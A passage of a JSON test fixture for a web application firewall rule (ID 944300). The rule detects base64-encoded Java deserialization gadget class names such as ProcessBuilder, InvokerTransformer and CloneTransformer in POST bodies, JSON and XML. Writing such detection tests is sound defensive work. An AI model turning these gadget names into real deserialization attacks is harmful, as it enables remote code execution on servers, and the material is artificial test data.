"(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg name includes keyword HByb2Nlc3NidWlsZGVy" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=Bwcm9jZXNzYnVpbGRlcg" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument test includes keyword Bwcm9jZXNzYnVpbGRlcg" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "Bwcm9jZXNzYnVpbGRlcg=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument name includes keyword Bwcm9jZXNzYnVpbGRlcg" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"Bwcm9jZXNzYnVpbGRlcg\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML attribute value includes keyword Bwcm9jZXNzYnVpbGRlcg" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">Bwcm9jZXNzYnVpbGRlcg</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML element value includes keyword Bwcm9jZXNzYnVpbGRlcg" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">Bwcm9jZXNzYnVpbGRlcg</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Nested XML element value includes keyword Bwcm9jZXNzYnVpbGRlcg" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=Bwcm9jZXNzYnVpbGRlcg" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type text/plain includes keyword Bwcm9jZXNzYnVpbGRlcg" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"Bwcm9jZXNzYnVpbGRlcg\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg value includes keyword Bwcm9jZXNzYnVpbGRlcg" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"Bwcm9jZXNzYnVpbGRlcg\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg name includes keyword Bwcm9jZXNzYnVpbGRlcg" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=Y2xvbmV0cmFuc2Zvcm1lcg" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument test includes keyword Y2xvbmV0cmFuc2Zvcm1lcg" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "Y2xvbmV0cmFuc2Zvcm1lcg=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument name includes keyword Y2xvbmV0cmFuc2Zvcm1lcg" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"Y2xvbmV0cmFuc2Zvcm1lcg\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML attribute value includes keyword Y2xvbmV0cmFuc2Zvcm1lcg" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">Y2xvbmV0cmFuc2Zvcm1lcg</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML element value includes keyword Y2xvbmV0cmFuc2Zvcm1lcg" } 